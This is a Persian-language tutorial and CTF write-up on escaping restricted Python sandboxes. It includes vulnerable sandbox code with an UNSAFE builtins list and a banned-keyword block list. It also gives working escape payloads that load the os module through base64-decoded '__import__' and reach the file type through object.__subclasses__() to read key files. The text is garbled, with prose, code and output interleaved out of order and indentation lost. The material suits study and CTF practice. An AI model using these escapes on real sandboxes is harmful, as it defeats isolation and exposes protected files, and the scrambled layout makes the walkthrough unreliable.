bypass کردن سندباکس های مبتنی بر پایتون
اصولا بایپس کردن سندباکس به این معنی هست که خارج از محدوده تعریف شده قادر به انجام عملیات و یا اجرای دستور نباشیم . زمانی که صحبت از بایپس سندباکس های پایتون میکنیم به این معناست که تعدادی از توابع و روال ها و دستورات غیرفعال شده اند و استفاده از آنها عملا غیرقابل استفاده می شود اما اگر موفق به اجرای کامندها به نحو دیگری شویم آنگاه سندباکس تعریف شده را بایپس کرده ایم. یک نمونه ساده از سندباکس های مبتنی بر پایتون به این صورت است که ورودی ها را برای توابع و دستورات خطرناک مانند eval چک کنیم و در صورت وجود آنها را نادیده بگیریم . این روش توسط encode کردن دستورات قابل bypass است. برای کسب اطلاعات بیشتر به این لینک مراجعه کنید. اصولا در تمام سیستم هایی که به دنبال رشته های خاص برای بلک لیست میگردند این مشکل وجود دارد. به عنوان مثال در IDS ها نیز زمانی که به دنبال رشته ای خاصی میگردند اگر به صورت Encode شده باشد آنگاه قابل شناسایی نخواهد بود که البته این مشکل با وجود decoder های تعبیه شده در IDS ها برطرف شده است.( در Snort این عمل به عهده preprocessor ها است )
با توجه به توضیحات بالا نیاز به راه حل بهتری داریم.2 تابع مهم که در فهم بهتر اشیای پایتون به ما کمک میکنند توابع dir() و type() در پایتون هستند. حال بیاید آنها را اجرا و نتیجه را ببینیم.
>>> dir()
['__builtins__', '__doc__', '__name__', '__package__']
با اجرای آن بدون آرگومان ، لیست نام های تعریف شده در حوزه جاری نشان داده می شود. حال با استفاده از تابع type() میتوانیم نوع این اشیا را دریابیم.به عنوان مثال :
>>> type(__builtins__)
<type 'module'>
>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'Buffer
Error', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'Environme
ntError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'Generato
rExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexErr
or', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError',
'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'P
endingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', '
StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError',
'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDeco
deError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'Unicod
eWarning', 'UserWarning', 'ValueError', 'Warning', 'WindowsError', 'ZeroDivision
Error', '_', '__debug__', '__doc__', '__import__', '__name__', '__package__', 'a
bs', 'all', 'any', 'apply', 'basestring', 'bin', 'bool', 'buffer', 'bytearray',
'bytes', 'callable', 'chr', 'classmethod', 'cmp', 'coerce', 'compile', 'complex'
, 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval
', 'execfile', 'exit', 'file', 'filter', 'float', 'format', 'frozenset', 'getatt
r', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'intern',
'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'long',
'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow
', 'print', 'property', 'quit', 'range', 'raw_input', 'reduce', 'reload', 'repr'
, 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str
', 'sum', 'super', 'tuple', 'type', 'unichr', 'unicode', 'vars', 'xrange', 'zip'
]
>>>
برای دسترسی به متدهای آن میتوان به صورت زیر عمل کرد :
>>> __builtins__.__dict__['x']که X نام متد است که در بالا لیست شده است.حال فرض کنید در داخل سندباکس ، توابع import و ماژول os چک می شوند تا از load آنها جلوگیری شود. به کدهای زیر دقت کنید.
>>> import base64
>>> base64.b64encode('__import__')
'X19pbXBvcnRfXw=='
>>> base64.b64encode('os')
'b3M='
حال به راحتی میتوانیم به صورت زیر ماژول OS را به صورت زیر لود کنیم.
>>> __builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64'))
<module 'os' from '/usr/lib/python2.7/os.pyc'>
>>> abs(-1)و زمانی که متد abs را از دیکشنری حذف کنیم .
1
>>> __builtins__.__dict__['abs'] = None
و آنگاه تابع را اجرا کنیم مشاهده خواهیم کرد که تابع وجود ندارد.
>>> abs(-1)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: 'NoneType' object is not callable
با استفاده از del هم میتوانیم متدها را حذف کنیم. به صورت زیر :
>>> del __builtins__.__dict__['abs']
>>> abs(-1)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'abs' is not defined
تا اینجای کار تنها تابع abs را برای سندباکسمان از کار انداختیم . اما نیاز داریم تا توابع خطرساز و خطرناک را حذف کنیم. میتوانیم به صورت دستی و یکی یکی متدهای مورد نظر را حذف کنیم . مانند زیر :
>>> del __builtins__.__dict__['__import__']
>>> del __builtins__.__dict__['eval']
و یا تمام متدها را به یکباره با کد زیر حذف کنیم.
targets = __builtins__.__dict__.keys()
for x in targets:
del __builtins__.__dict__[x]
البته توجه داشته باشید که توابع print و raw_input را هم با این روش از دست خواهید داد. که میتوانید آنها را از لیست حذف کرده و سپس دیکشنری را پاک سازی نمایید. کد تکمیل شده به صورت زیر است:
targets = __builtins__.__dict__.keys()
targets.remove('raw_input')
targets.remove('print')
for x in targets:
del __builtins__.__dict__[x]
def make_secure():
UNSAFE = ['open',
'file',
'execfile',
'compile',
'reload',
'__import__',
'eval',
'input']
for func in UNSAFE:
del __builtins__.__dict__[func]
from re import findall
# Remove dangerous builtins
make_secure()
print 'Go Ahead, Expoit me >;D'
while True:
try:
# Read user input until the first whitespace character
inp = findall('\S+', raw_input())[0]
a = None
# Set a to the result from executing the user input
exec 'a=' + inp
print 'Return Value:', a
except Exception, e:
print 'Exception:', e
>>> dir( () )
['__add__', '__class__', '__contains__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__getslice__', '__gt__', '__hash__', '__init__', '__iter__', '__le__', '__len__', '__lt__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'count', 'index']
از موارد بالا ، متد __class__ را بررسی میکنیم.
>>> type(().__class__)
<type 'type'>
>>> ().__class__.__bases__[0].__subclasses__()
آنگاه خروجی به صورت زیر خواهیم داشت :
[<type 'weakproxy'>, <type 'int'>, <type 'basestring'>,همان طور که مشاهده میکنید تابع File از این طریق قابل دسترس خواهد بود ! تنها کافی است تا ایندکس آن را بدست آورید. میتوانید برای انجام این کار از کد زیر استفاده کنید.
<type 'bytearray'>, <type 'list'>, <type 'NoneType'>,
<type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>,
<type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>,
<type 'staticmethod'>, <type 'complex'>, <type 'float'>,
<type 'buffer'>, <type 'long'>, <type 'frozenset'>,
<type 'property'>, <type 'memoryview'>, <type 'tuple'>,
<type 'enumerate'>, <type 'reversed'>, <type 'code'>,
<type 'frame'>, <type 'builtin_function_or_method'>,
.
.
.
<type 'file'>
>> all_classes = []که نتیجه به صورت زیر می شود
>>> for entry in ().__class__.__bases__[0].__subclasses__():
... all_classes.append(entry.__name__)
...
>>> all_classes.index("file")
40
>>> ().__class__.__bases__[0].__subclasses__()[40]
<type 'file'>
حال برای خواندن یک فایل کافی است نام فایل به عنوان پارامتر به آن ارسال شود. اگر فرض کنیم یک فایل در مسیر جاری به نام test.txt داریم آنگاه به صورت زیر میتوانیم محتوی آن را بخوانیم.
>> ().__class__.__bases__[0].__subclasses__()[40]("Geek.txt ").read()که در چنلج طراحی شده در CTF نام فایل key است که به صورت زیر می توان محتوی فایل را خواند و flag را بدست آورد.
"Geek I am"
Go Ahead, Expoit me >;Dدر زیر نمونه دیگر از یک سندباکس پایتونی را مشاهده میکنید که در قالب چلنج اکسپلویتینگ در CSAW 2014 مطرح شده بود که روش بایپس کردن آن مشابه مطالب بالاست.
().__class__.__bases__[0].__subclasses__()[40]("./key").read()
().__class__.__bases__[0].__subclasses__()[40]("./key").read()
Return Value: FvibLF0eBkCBk
#!/usr/bin/env pythonشخصا با اجرای دستورات زیر فلگ را بدست آوردم ولی حتی ساده تر هم میتوان آن را حل کرد.
from __future__ import print_function
print("Welcome to my Python sandbox! Enter commands below!")
banned = [
"import",
"exec",
"eval",
"pickle",
"os",
"subprocess",
"kevin sucks",
"input",
"banned",
"cry sum more",
"sys"
]
targets = __builtins__.__dict__.keys()
targets.remove('raw_input')
targets.remove('print')
for x in targets:
del __builtins__.__dict__[x]
while 1:
print(">>>", end=' ')
data = raw_input()
for no in banned:
if no.lower() in data.lower():
print("No bueno")
break
else: # this means nobreak
exec data
>>> a = None
>>> a = ().__class__.__bases__[0].__subclasses__()[40]("key.txt").read()
>>> print ('flag is = ',a)
>>> flag is = flag{definitely_not_intro_python}